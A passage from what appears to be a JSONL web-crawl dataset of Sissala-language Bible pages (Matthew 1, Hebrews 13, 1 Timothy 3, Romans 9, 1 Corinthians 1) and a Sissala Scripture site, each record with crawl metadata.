rɩ́rʋ́ maábɛlɛm 3 Ziida má rɩ́rʋ́ háálɔ Tamaarɛ lʋl Pɛrɛsɛ rɩ́ Zeram Pɛrɛsɛ má lʋl Ɛsɩrɔŋm Ɛsɩrɔŋ má lʋl Araŋm 4 Araŋ má lʋl Amɩnadabɛm Amɩnadabɛ má lʋl Naasɔŋm Naasɔŋ má lʋl Salmɔŋm 5 Salmɔŋ má rɩ́rʋ́ háálɔ Rahabɛ lʋl Bʋazɛm Bʋazɛ má rɩ́rʋ́ háálɔ Riti lʋl Ɔbɛdɛm Ɔbɛdɛ má lʋl Izayi. 6 Izayi má lʋl kuóro Davidim Kuóro Davidi má rɩ́ Iiri háálɔ lʋl Salomoŋ. 7 Salomoŋ má lʋl Robohaŋm Robohaŋ má lʋl Abiyam Abiya má lʋl Azam 8 Aza má lʋl Zozafam Zozafa má lʋl Zoraŋm Zoraŋ má lʋl Ɔzɩyasɛm 9 Ɔzɩyasɛ má lʋl Zʋataŋm Zʋataŋ má lʋl Akazɛm Akazɛ má lʋl Ɩzɩkɩyasɛm 10 Ɩzɩkɩyasɛ má lʋl Manasem Manase má lʋl Amɔŋm Amɔŋ má lʋl Zɔzɩyasɛm 11 Zɔzɩyasɛ má lʋl Yekoniya rɩ́rʋ́ maábɛlɛm Ɛ́ tɛ́ŋ mɛ́ nɛ́ ɓa yoo kɛsɛ Ɩzɩrayɛl duo nɩɛ mʋ́ Babɩlɔɔnɛ. 12 Ɓa kɛsɛ́ ná har rɩ́ mɛ́ nɛ́m Yekoniya má lʋl Salasɩɛlɛm Salasɩɛlɛ má lʋl Zɔrɔbabɛlm 13 Zɔrɔbabɛl má lʋl Abiyudim Abiyudi má lʋl Ɩlɩyakɩŋm Ɩlɩyakɩŋ má lʋl Azɔɔrɛm 14 Azɔɔrɛ má lʋl Sadɔkm Sadɔk má lʋl Akimim Akimi má lʋl Eliyidim 15 Eliyidi má lʋl Ɩlɩyazaarɛm Ɩlɩyazaarɛ má lʋl Mataŋm Mataŋ má lʋl Zakɔbɛm 16 Zakɔbɛ má lʋl Zɔzɛfɛ. Zɔzɛfɛ sɩɛ́ ja Maari. Maari má nɛ́ sɩɛ́ lʋ́l Zeezi nam ɓa háá yɩ́rɛ Kirisi. 17 Ɛ́ wɩ́ɛ́, a pɔ́ Abɩrahaŋ woo mí ká kaá mʋ́ Davidi woo, woó woówa fí rí baná nɛ́. A baa pɔ́ Davidi má woo mí, ká kaá mʋ́ tɛ́ŋ ná mɛ́ ɓa há yóé kɛsɛ Ɩzɩrayɛl duo nɩɛ mʋ́ Babɩlɔɔnɛ mɛ́, ɓa má nɛ́ woó woówa fí rí baná. Ká a baa pɔ́ ɛ́ tɛ́ŋ má mɛ́, ká kaa mʋ́ yakɛ Kirisi mí, ɓa má nɛ́ woó woówa fí rí baná. 18 Ná Zeezi Kirisi lʋlɛ́ naasɛ: Zɔzɛfɛ nɛ́ fa cɔ́ Zeezi maá Maari rʋ́ʋ́ ja. Amá ɓa fa ha wɩ náŋá jɛ́ɛ́, ká Maari ka puo, a tɩŋ Wɩɩsɛ Sabɩɩna dóé mí. 19 Ʋ boŋzoŋ Zɔzɛfɛ ná sɩɛ́ fa ká nɩtaŋá rɛ́. Ʋ wɩ có rʋ́ʋ́ hɩɩ̃sɛ Maari, nɩɛ sɩ́ɛ́ mɛ́, ɛ́ nɛ́ ʋ bɩ́ɩ́nʋ́ tɩɩ mɛ́ rʋ́ʋ́ lʋɔrɛ tɔ́ʋ́. 20 Ʋ sɩɛ́ fa há kéŋ ɛ́ sabɩɩna, ɛ́ nɛ́ Nyuutɩna malɩ́ka nɔ́ŋɔ kóú rí duose mí, a bʋ́lʋ́ rɩ́ bʋlɛ́: \"Davidi nihĩ Zɔzɛfɛ, sɩ́ ló rí héwíŋ kánɩ́, pi Maari rʋ́ʋ́ ɛ́ɩ́ háálɔ, bee wɩ́ɛ́ bio ná puo ʋ há kené, ʋ lɛ́ Wɩɩsɛ Sabɩɩna dóé ní. 21 Ʋ sɩ́ lʋl bál rɩ́ɩ́ pɔ́ʋ́ yɩr Zeezi, bee wɩ́ɛ́ ʋ nɩ́ɩ́ á rʋ́ʋ́ lɔ́ʋ́ dunɩɛ tá wɩ́bɔma nɛ́sɛ mɛ́.\" 22 Wɩ́ɛ́ nyáŋ wuu há tʋ́mɛ́, Nyuutɩna há ɛ́ɛ́ ʋ wɩ́laabʋllɔ bʋl wɩ́ɩ́ ná nʋɔ nɛ́ súé. Ʋ há sɛ́q 23 \"Toopero ná ha há wɩ bál ɛ̃ sɩ́ ka puoq a lʋl heŋbóle, rɩ́wɔ́ pɔ́ʋ́ yɩr Ɩmanʋɛl.\" Ʋ mʋ́l nɛ́ ká: Wɩɩsɛ mɩ́ŋrá sɩ́sɩ́ɛ́nnʋ́wa. 24 Zɔzɛfɛ há ísé, ʋ á Nyuutɩna malɩ́ka há sʋ́ʋ́ tʋŋ ɛ́. Ʋ já Maari a kaa mʋ́ʋ́ jaa. 25 Amá ʋ wʋ́ʋ́ mɛ́ tɩ́kɛ́, ká ʋ lʋl heŋbólé, ʋ hóú yɩr Zeezi.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/SLDTBL\/Matt\/1","date":"2013-05-19T20:01:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698063918\/warc\/CC-MAIN-20130516095423-00071-ip-10-60-113-184.ec2.internal.warc.gz","language":"sld","language_score":0.9998961687,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sld_Latn_score\": 0.9998961687088013}","num_words":494,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.243,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ebirewa 13:11\n11 Pʋsɛ ná ɓa há ɓʋ́ʋ́sɛ́ cɛ́l nɛ́ vʋk\"ɔɔsa nɔhɔ̃́ cakɛ, a kaa zʋ Wɩɩsɛ sɩ́ɛ́, táŋtɛ jaa ná mɛ́, rʋ́ʋ́ ɔsɛ vʋk pá Wɩɩsɛ, wɩ́bɔma suúri yɩr mɛ́; amá ɛ́ pʋsɛ namɩŋsa é, ɓaá paa kaa kɛkɛ tɔ́ɔ́ sɩɛrʋ nɛ́, a nyɩkɛ.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/SLDTBL\/Heb\/13\/11","date":"2013-06-19T21:19:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368709224828\/warc\/CC-MAIN-20130516130024-00070-ip-10-60-113-184.ec2.internal.warc.gz","language":"sld","language_score":0.9881417751,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sld_Latn_score\": 0.9881417751312256}","num_words":62,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.21,"flagged_words_ratio":0.0,"lang_id_score":0.986,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ebirewa 13:10\n10 Á kéŋ vʋk\"ɔsɔ́ koro bána nyúú, amá Wɩɩsɛ vʋk\"ɔɔsa ná fa háá tʋŋ Wɩɩsɛ táŋtɛ jaa ná sɩɛrʋ, tíé nyúú, ɓa wɩ ŋmɛ́nɔ kené aá dí onni ná ɓa háá ɓʋ́ʋ́sɛ, ɛ́ koro nyúú.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/SLDTBL\/Heb\/13\/10","date":"2013-05-21T20:19:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700497024\/warc\/CC-MAIN-20130516103457-00069-ip-10-60-113-184.ec2.internal.warc.gz","language":"sld","language_score":0.9663965106,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sld_Latn_score\": 0.9663965106010437}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":0.959,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Timote 3:3\n3 Ʋ wɩ mɔhɛ̃́ rʋ́ʋ́ a sɩnyɔ́r; ʋ wɩ mɔhɛ̃́ rʋ́ʋ́ a cɔ́ɛ́ tɩ́ná. Amá ʋ mɔhɔ̃́ rʋ́ʋ́ a nɩpɔrɩ́, rʋ́ʋ́ rɩ́ nɛ́ŋ sɩ́ wɩ́ɩ́ kánʋ́. Ʋ wɩ mɔhɛ̃́ rʋ́ʋ́ púú nyúú hé meéwíé mí.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/SLDTBL\/1Tim\/3\/3","date":"2013-05-22T09:50:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701562534\/warc\/CC-MAIN-20130516105242-00012-ip-10-60-113-184.ec2.internal.warc.gz","language":"sld","language_score":0.9562658668,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sld_Latn_score\": 0.9562658667564392, \"gna_Latn_score\": 0.03363051638007164}","num_words":54,"character_repetition_ratio":0.123,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.222,"flagged_words_ratio":0.0,"lang_id_score":0.934,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romi 9:27\n27 Ezayi má bʋ́l ɛ́ nɛ́ caasɛ Ɩzɩrayɛl duo nɩɛ. Ʋ sɛ́: \"Rɩ Ɩzɩrayɛl duo nɩɛ có rɩ́wɔ́ pul a mɔ mʋʋ nʋɔ hɩɛla má, ɓa sɩɛrʋ nɩɛ mʋɔ́ nɛ́ rɩ́ Wɩɩsɛ laa tá.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/SLDTBL\/Rom\/9\/27","date":"2013-06-19T14:50:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708808767\/warc\/CC-MAIN-20130516125328-00095-ip-10-60-113-184.ec2.internal.warc.gz","language":"sld","language_score":0.9699901938,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sld_Latn_score\": 0.9699901938438416}","num_words":53,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.208,"flagged_words_ratio":0.0,"lang_id_score":0.966,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ná Zeezi duo nɩɛ: Zeezi naabál nɛ́ ká Davidi; Davidi má naabál nɛ́ ká Abɩrahaŋ. 2Abɩrahaŋ nɛ́ lʋ́l Ɩzakɛ. Ɩzakɛ lʋl Zakɔbɛ. Zakɔbɛ má lʋl Ziida rɩ́rʋ́ maábɛlɛm 3Ziida má rɩ́rʋ́ háálɔ Tamaarɛ lʋl Pɛrɛsɛ rɩ́ Zeram Pɛrɛsɛ má lʋl Ɛsɩrɔŋm Ɛsɩrɔŋ má lʋl Araŋm 4Araŋ má lʋl Amɩnadabɛm Amɩnadabɛ má lʋl Naasɔŋm Naasɔŋ má lʋl Salmɔŋm 5Salmɔŋ má rɩ́rʋ́ háálɔ Rahabɛ lʋl Bʋazɛm Bʋazɛ má rɩ́rʋ́ háálɔ Riti lʋl Ɔbɛdɛm Ɔbɛdɛ má lʋl Izayi. 6Izayi má lʋl kuóro Davidim Kuóro Davidi má rɩ́ Iiri háálɔ lʋl Salomoŋ. 7Salomoŋ má lʋl Robohaŋm Robohaŋ má lʋl Abiyam Abiya má lʋl Azam 8Aza má lʋl Zozafam Zozafa má lʋl Zoraŋm Zoraŋ má lʋl Ɔzɩyasɛm 9Ɔzɩyasɛ má lʋl Zʋataŋm Zʋataŋ má lʋl Akazɛm Akazɛ má lʋl Ɩzɩkɩyasɛm 10Ɩzɩkɩyasɛ má lʋl Manasem Manase má lʋl Amɔŋm Amɔŋ má lʋl Zɔzɩyasɛm 11Zɔzɩyasɛ má lʋl Yekoniya rɩ́rʋ́ maábɛlɛm Ɛ́ tɛ́ŋ mɛ́ nɛ́ ɓa yoo kɛsɛ Ɩzɩrayɛl duo nɩɛ mʋ́ Babɩlɔɔnɛ. 12Ɓa kɛsɛ́ ná har rɩ́ mɛ́ nɛ́m Yekoniya má lʋl Salasɩɛlɛm Salasɩɛlɛ má lʋl Zɔrɔbabɛlm 13Zɔrɔbabɛl má lʋl Abiyudim Abiyudi má lʋl Ɩlɩyakɩŋm Ɩlɩyakɩŋ má lʋl Azɔɔrɛm 14Azɔɔrɛ má lʋl Sadɔkm Sadɔk má lʋl Akimim Akimi má lʋl Eliyidim 15Eliyidi má lʋl Ɩlɩyazaarɛm Ɩlɩyazaarɛ má lʋl Mataŋm Mataŋ má lʋl Zakɔbɛm 16Zakɔbɛ má lʋl Zɔzɛfɛ. Zɔzɛfɛ sɩɛ́ ja Maari. Maari má nɛ́ sɩɛ́ lʋ́l Zeezi nam ɓa háá yɩ́rɛ Kirisi. 17Ɛ́ wɩ́ɛ́, a pɔ́ Abɩrahaŋ woo mí ká kaá mʋ́ Davidi woo, woó woówa fí rí baná nɛ́. A baa pɔ́ Davidi má woo mí, ká kaá mʋ́ tɛ́ŋ ná mɛ́ ɓa há yóé kɛsɛ Ɩzɩrayɛl duo nɩɛ mʋ́ Babɩlɔɔnɛ mɛ́, ɓa má nɛ́ woó woówa fí rí baná. Ká a baa pɔ́ ɛ́ tɛ́ŋ má mɛ́, ká kaa mʋ́ yakɛ Kirisi mí, ɓa má nɛ́ woó woówa fí rí baná. 18Ná Zeezi Kirisi lʋlɛ́ naasɛ: Zɔzɛfɛ nɛ́ fa cɔ́ Zeezi maá Maari rʋ́ʋ́ ja. Amá ɓa fa ha wɩ náŋá jɛ́ɛ́, ká Maari ka puo, a tɩŋ Wɩɩsɛ Sabɩɩna dóé mí. 19Ʋ boŋzoŋ Zɔzɛfɛ ná sɩɛ́ fa ká nɩtaŋá rɛ́. Ʋ wɩ có rʋ́ʋ́ hɩɩ̃sɛ Maari, nɩɛ sɩ́ɛ́ mɛ́, ɛ́ nɛ́ ʋ bɩ́ɩ́nʋ́ tɩɩ mɛ́ rʋ́ʋ́ lʋɔrɛ tɔ́ʋ́. 20Ʋ sɩɛ́ fa há kéŋ ɛ́ sabɩɩna, ɛ́ nɛ́ Nyuutɩna malɩ́ka nɔ́ŋɔ kóú rí duose mí, a bʋ́lʋ́ rɩ́ bʋlɛ́: \"Davidi nihĩ Zɔzɛfɛ, sɩ́ ló rí héwíŋ kánɩ́, pi Maari rʋ́ʋ́ ɛ́ɩ́ háálɔ, bee wɩ́ɛ́ bio ná puo ʋ há kené, ʋ lɛ́ Wɩɩsɛ Sabɩɩna dóé ní. 21Ʋ sɩ́ lʋl bál rɩ́ɩ́ pɔ́ʋ́ yɩr Zeezi, bee wɩ́ɛ́ ʋ nɩ́ɩ́ á rʋ́ʋ́ lɔ́ʋ́ dunɩɛ tá wɩ́bɔma nɛ́sɛ mɛ́.\" 22Wɩ́ɛ́ nyáŋ wuu há tʋ́mɛ́, Nyuutɩna há ɛ́ɛ́ ʋ wɩ́laabʋllɔ bʋl wɩ́ɩ́ ná nʋɔ nɛ́ súé. Ʋ há sɛ́q 23\"Toopero ná ha há wɩ bál ɛ̃ sɩ́ ka puoq a lʋl heŋbóle, rɩ́wɔ́ pɔ́ʋ́ yɩr Ɩmanʋɛl.\" Ʋ mʋ́l nɛ́ ká: Wɩɩsɛ mɩ́ŋrá sɩ́sɩ́ɛ́nnʋ́wa. 24Zɔzɛfɛ há ísé, ʋ á Nyuutɩna malɩ́ka há sʋ́ʋ́ tʋŋ ɛ́. Ʋ já Maari a kaa mʋ́ʋ́ jaa. 25Amá ʋ wʋ́ʋ́ mɛ́ tɩ́kɛ́, ká ʋ lʋl heŋbólé, ʋ hóú yɩr Zeezi.\nMatie 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/SLDTBL\/Matt\/1","date":"2013-12-05T13:12:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163045148\/warc\/CC-MAIN-20131204131725-00071-ip-10-33-133-15.ec2.internal.warc.gz","language":"sld","language_score":0.9998699427,"language_script":"Latn","minhash_cluster_size":34,"top_langs":"{\"sld_Latn_score\": 0.9998699426651001}","num_words":495,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.242,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Á Sɩsaala wɩ nʋɔ kené aá bɔllɛ Wɩɩsɛ. Wɩɩsɛ nɛ́ ɛ́ɛ́ labaarɛwa dɩtɛ́ né zaa mɩ́ŋ Sɩsaalɩ́ mɛ́.\nA tɩ́ŋ tʋtʋmɛ́ púlli nyáŋ bɛllɛ mɛ́, ANTBA arɩ́ SIL, á pi bɔlɛ aá pá nɩɛ ná há lɩ́ dɩboli, a ko pɛ́ ráá mɛ́ tʋtʋmɩ́ né wólli tʋŋ.\nWɩɩsɛ ná wɩ́wéré há waá tenni, kaá nyɩ́ɩ́sɛ kál wuu cɩ́cʋɔ, nɛ́ lóé Zeezi Labaarɛwéró zʋ́ Sɩsɔɔ tɔ́nɛ. Ʋ nɛ́ há ɛ́ɛ́ líŋsi karmɛ́ rɩ́wɔ́ kaa bɩ́rsɛ zʋ́ Sɩsɔɔ, Sɩsaala wóllíwó líŋo aá karmɛ.\nZaa, a tɩŋ labaarɛwa dɩtɛ́ né mí, nɩɛ sɩ́ ká labaarɛwa nyáŋ:\n- Wɩɩsɛ kɛnɔ ná ɓa há bɩ́rsɛ aá hé Sɩsaalɩ́ mɛ́,\n- kɛnnɛ ná ɓa há bɩ́rsɛ tenni,\n- Sɩsaalɩ́ duo wɩ́ɛ́.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/sissalawiai.net\/","date":"2023-05-30T08:45:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224645417.33\/warc\/CC-MAIN-20230530063958-20230530093958-00790.warc.gz","language":"sld","language_score":0.9989913106,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sld_Latn_score\": 0.9989913105964661}","num_words":112,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.304,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} diff --git a/sld_Latn/fineweb-2_000001_remove.jsonl b/sld_Latn/fineweb-2_000001_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..9587a9126a1a331d5da5b45e844fc24dabc281b2 --- /dev/null +++ b/sld_Latn/fineweb-2_000001_remove.jsonl @@ -0,0 +1,4 @@ +{"text":"1 Ŋ é Pool, Wɩɩsɛ nɛ́ há có, a yɩ́rɛ rɩ́ŋ ko a Zeezi Kirisi nɩtʋmɩ́, ŋ rɩ́rá maábinɔ́ŋɔ Sɔsɩtɛɛnɛ nɛ́ pʋ́ŋsɛ kɛnɔ né ráá pá, 2 Wɩɩsɛ púl nɩɛ ná há mɩŋ Kɔrɛŋtɛ mɛ́. Ɓa nɩɛ ná há cákɛ́ lɩ́sɩ́wɔ́ tɩɩ, a tɩŋ Zeezi Kirisi mí, a a Wɩɩsɛ nɩɛ, arɩ́ nɩɛ ná wuu há mɩŋ dúníé kíŋkere wuu mí, aá cʋ́ɔ́lɩ́rá Nyuutɩna Zeezi Kirisi ná, há kárá rɩ́wɔ́ wuu Nyuutɩna. 3 Ráá Ana Wɩɩsɛ, rɩ́rá Nyuutɩna Zeezi Kirisi pɛ́ɩ́wa bárka arɩ́ tɛŋfɩ́ɛ́l! 4 Ŋŋ́ bɔ́llɩ́ŋ Wɩɩsɛ kál wuu ɩ́ wɩ́ɛ́, ʋ há tɩ́ŋ Zeezi Kirisi mí a hóú bárka ná pɛ́ɩ́wa wɩ́ɛ́. 5 Wɩɩsɛ tɩ́ŋ Kirisi mí a púú pállɛ duo wuu pɛ́ɩ́wa, ɩ́ a kuóre ɓa sɩɛrʋ, ɛ́ nɛ́ tɛ ɩ́ kánʋ́ wɩ́bʋlɛ ná zɩmɛ́, a zɩŋ wɩ́ɛ́ wuu mʋ́ʋ́la aá lɩ́sɛ. 6 Wɩ́were ná ɓa há bʋ́lɛ́ pɛ́ɩ́wa a tɩɩnɛ Kirisi mí, ɓa cáásɔ́ cɩ́ wérí ɩ́ sɩ́sɩ́ɛ́nnʋ́wa. 7 Ɛ́ wɩ́ɛ́, Wɩɩsɛ pállɛ ná oro wuu wɩ́ɩ́wa múré, ɩ́ nɩɛ ná wuu háá dɛ́llɩ́rá Nyuutɩna Zeezi Kirisi bɩrkoe. 8 Wɩɩsɛ sɩ́ pɛ́ɩ́wa mɛ́, rɩ́ɩ́wa ka géŋgéŋ a mʋ́ peri tokó, a makɛ rɩ́wɔ́ sɩ́ wɩ́zɔkɩ́ wuu ná, ɩ́ mɛ́, á Nyuutɩna Zeezi Kirisi kal bɩrkoolí. 9 Wɩɩsɛ ká tékétéké, ʋ nʋtállɛ waá giri. Ʋ nɛ́ yɩ́rɩ́wa, rɩ́ɩ́wa a óŋ balá, ɩ́ rɩ́rʋ́ Bio Zeezi Kirisi, há kárá Nyuutɩna. 10 Ŋ maábináŋa, ŋŋ́ sʋ́lɩ́wa, á Nyuutɩna Zeezi Kirisi yɩr mɛ́, ɩ́ tʋŋ nʋɔ mɛ́, a sɩ́ ló rí nʋbámmá zʋ́ɩ́wa pɛ́kɛ. Amá ɩ́ ka sabɩŋbalá, a wuu tʋŋ wɩ́jaalɩ́ mɛ́. 11 Ŋ nɩ́ɔ́ rɩ kapɔsɛ zʋ́ɩ́wa pɛ́kɛ. Kulowe jaa nɩɛ nɛ́ kúé bʋl ɛ́ wɩ́ɛ́ páŋ. 12 Ŋ háá já rɩ́ŋ bʋ́lʋ́ ná nɛ́ ká, ɩ́ cáksɛ́ goó goówa. Nɔ́ŋɔ sɛ́: \"Ŋ mɩŋ Pool har nɛ́!\" Nɔ́ŋɔ má sɛ́: \"Ŋ é mɩŋ Apolosi har nɛ́!\" Nɔ́ŋɔ má sɛ́: \"Ŋ é mɩŋ Sefa har nɛ́!\" Ká nɔ́ŋɔ má sɛ́: \"Ŋ é mɩŋ Kirisi har nɛ́!\" 13 Kirisi cáksɔ́ rɛ́? Ɓa ɓásɛ Pool dagɛsɛ́ daha nɛ́ ʋ sʋ́wɩ́wa yɩr mɛ́ yáá, Pool yɩr mɛ́ nɛ́ ɓa múŋsíwa nyii mí? 14 Ŋŋ́ bɔ́llɛ Wɩɩsɛ, ŋ há wɩ́ɩ́wa oro wuu kené muŋsi nyii mí wɩ́ɛ́, rɩ Kirisipiisi rɩ́ Gayisi dʋŋɔ rá; 15 a makɛ rɩ́ nɛ́ŋ wuu sɩ́ bʋ́lɩ́ŋ yɩr mɛ́ nɛ́, ɓa kánʋ́ muŋsi nyii mí. 16 Taŋá rɛ́, ŋ múŋsí Sitefana má rɩ́rʋ́ jaa nɩɛ nɛ́; ŋ báá wɩ bɩ́ɩ́nɛ́ rɩŋ múŋsí nɛ́ŋ nɔ́ŋ. 17 Kirisi há tʋ́mɩ́ŋ, ʋ wɩ sɛ́ rɩ́ŋ mʋ́ muŋsi nɩɛ nyii mí, ʋ sɛ́ rɩ́ŋ mʋ́ bʋl Labaarɩwero wɩ́ɛ́ nɛ́ pá nɩɛ. Ŋ sɩɛ́ wɩ nɩbííne zɩmɛ́ nɛ́ kené aá bʋl, a makɛ rɩ́ Kirisi dagɛsɛ́ daha sʋʋ ná, sɩ́ yɔ́ɔ́ tá. 18 Kirisi dagɛsɛ́ daha sʋʋ ná wɩ́ɛ́ bʋlɛ́ ká gɩŋgáwɩ́ɩ́ rɛ́, nɩɛ ná háá yʋ́ksɛ́ rɩ́; ká a dóé, a párá é nɩɛ ná Wɩɩsɛ há lɛ́ɛ́ aá tá. 19 Ɛ́ nɛ́ ɓa pʋ́ŋsɛ Wɩɩsɛ Kɛnɔ sɩɛrʋ bʋlɛ́ Wɩɩsɛ sɛ́: \"Ŋ sɩ́ a rɩ́ zɩmɛ́ tɩ́náwa zɩmɛ́ nyɩ́ɩ́kɛ, ká rɩ́ wɩ́\"ɩɩ̃ra má zɩmɛ́ a yɔ́ɔ́.\" 20 Ɛ́ wɩ́ɛ́, wɩ́zɩ́nnɩ́kɩ́ŋkáŋwa ná mɩŋ nɛɛ́? Kɛŋzɩ́nnɩ́bɩbara é zɩmɛ́ mɩŋ nɛɛ́? Zaa tɩ́ŋtɔ́tɩɩnɔ é mɩŋ nɛɛ́? Wɩɩsɛ mákɔ́ rɩ dúníé wɩ́zɩmɛ ná ká cʋ́llʋ́ rɛ́, 21 bee wɩ́ɛ́ Wɩɩsɛ wɩ́zɩmɛ mɛ́, dúníé nɩbííne rɩ́wɔ́ wɩ́zɩmɛ ná wuu, ɓa wʋ́ʋ́ mɛ́ wuo tɩŋ aá zɩŋ Wɩɩsɛ. Wɩɩsɛ é sɩɛ́ tɩ́ŋʋ́ wɩ́bʋlɛ ná bʋlɛ́ há nɩhɩ̃́ gɩŋgáwɩ́ɩ́ mɛ́, a la nɩɛ ná há lɔ́ʋ́ dí, a tá. 22 Zuwifiwa ja nyáŋwɩ́ɛ́ nɛ́ rɩ́wɔ́ ná, Gɩrɛkɛwa má jɩ́ja zɩmɛ́ nɛ́. 23 Amá Kirisi há sʋ́wɛ́ dagɛsɛ́ daha wɩ́ɛ́ nɛ́, á é bʋ́bʋl. Ʋ ɛ́ nɩ́ɩ́ wɛ Zuwifiwa mɛ́, ká a gɩŋgárʋ́ a pá nɩɛ ná há to Zuwifiwa. 24 Amá nɩɛ ná Wɩɩsɛ há yɩ́rɛ́, Zuwifiwa rɩ́ Gɩrɛkɛwa wuu sɩɛrʋ, ɛ́ Kirisi ká Wɩɩsɛ dóé ní, a a Wɩɩsɛ wɩ́zɩmɛ má, a pɔ́wɔ́. 25 Wɩɩsɛ wɩ́ɩ́ ná ɓa há sʋ́ʋ́ ká gɩŋgárʋ́, ʋ kéŋ wɩ́zɩmɛ kɩ́llɛ nɩbííne zɩmɛ́; Wɩɩsɛ pʋɔlɩ́wɩ́ɩ́ ná má ɓa há bɩ́ɩ́nɛ́, ʋ kéŋ dóé kɩ́llɛ nɩbííne dóé. 26 Maábináŋa, ɩ́ kɩ́ɛ́lɛ ná, ɩ́ nɩɛ ná wuu Wɩɩsɛ há yɩ́rɛ́ sɩɛrʋ, nɩbinní mí, zɩmɛ́ tɩ́náwa wɩ kaŋ, nɩduoru wɩ kaŋ, nɩpiŋe má wɩ kaŋ. 27 Amá dúníé nɩbííne há sɛ́ nɩɛ ná ká gɩŋgátɩ́ɩ́ná, ɓa nɛ́ Wɩɩsɛ tʋɔsɛ rʋ́ʋ́ kaa hɩɩ̃sɛ zɩmɛ́ tɩ́náwa. Ɓa ná má dúníé nɩbííne há sɛ́ ɓa ká nɩpʋɔllɛ nɛ́, ʋ tʋɔsɛ rɩ́wɔ́ hɩɩ̃sɛ nɩduoru. 28 Wɩɩsɛ sɩɛ́ báá tʋ́ɔ́sɛ́ nɩɛ ná, nɩbííne há sɛ́ ɓa ká nɩkɔ́ŋsá a kaá lɔ́rɛ, nɩɛ ná nɩbííne há sɛ́ ɓa ká oŋyɔ́ɔ́wa, rɩ́wɔ́ zɔkɛ nɩɛ ná há sɛ́ ɓa ká nɩtaŋáwa, 29 a makɛ rɩ́ nɛ́ŋ wuu sʋ́ʋ́ tɩɩ mákʋ́ Wɩɩsɛ sɩ́ɛ́ mɛ́. 30 Wɩɩsɛ sɩɛ́ keníwa cɔ́ Zeezi Kirisi mí, ʋ nɛ́ árá zɩmɛ́. Wɩɩsɛ tɩ́ŋʋ́ mɛ́ a lárá tá, a bel ráá ká tékétéké, a wɩ busunnu kené, ʋ sɩ́ɛ́ mɛ́. 31 Ɛ́ wɩ́ɛ́, anɛ ɛ́ ɓa há pʋ́ŋsɛ bʋlɛ́: \"Rɩ nɛrɔ́ já rʋ́ʋ́ mákʋ́ tɩɩ, rʋ́ʋ́ mákʋ́ tɩɩ Nyuutɩna wɩ́\"állɛ sɩɛrʋ.\"","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/SLDTBL\/1Cor\/1","date":"2013-06-19T14:58:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708808767\/warc\/CC-MAIN-20130516125328-00036-ip-10-60-113-184.ec2.internal.warc.gz","language":"sld","language_score":0.9999349117,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sld_Latn_score\": 0.9999349117279053}","num_words":778,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.416,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Wɩɩsɛ Kɛŋbɩnɛ́ sɩɛrʋ sɩ́ŋsʋ́ɔ́la ná há mɩ́ŋ ráŋ nɛ́, ɓa píí waláŋsɛ\/karmɩfóŋwa mɛ́ ɓa a ɓɩzésé. Sɩsaala Sɩŋsʋ́ɔ́la zéséSISSALA PROVERBES 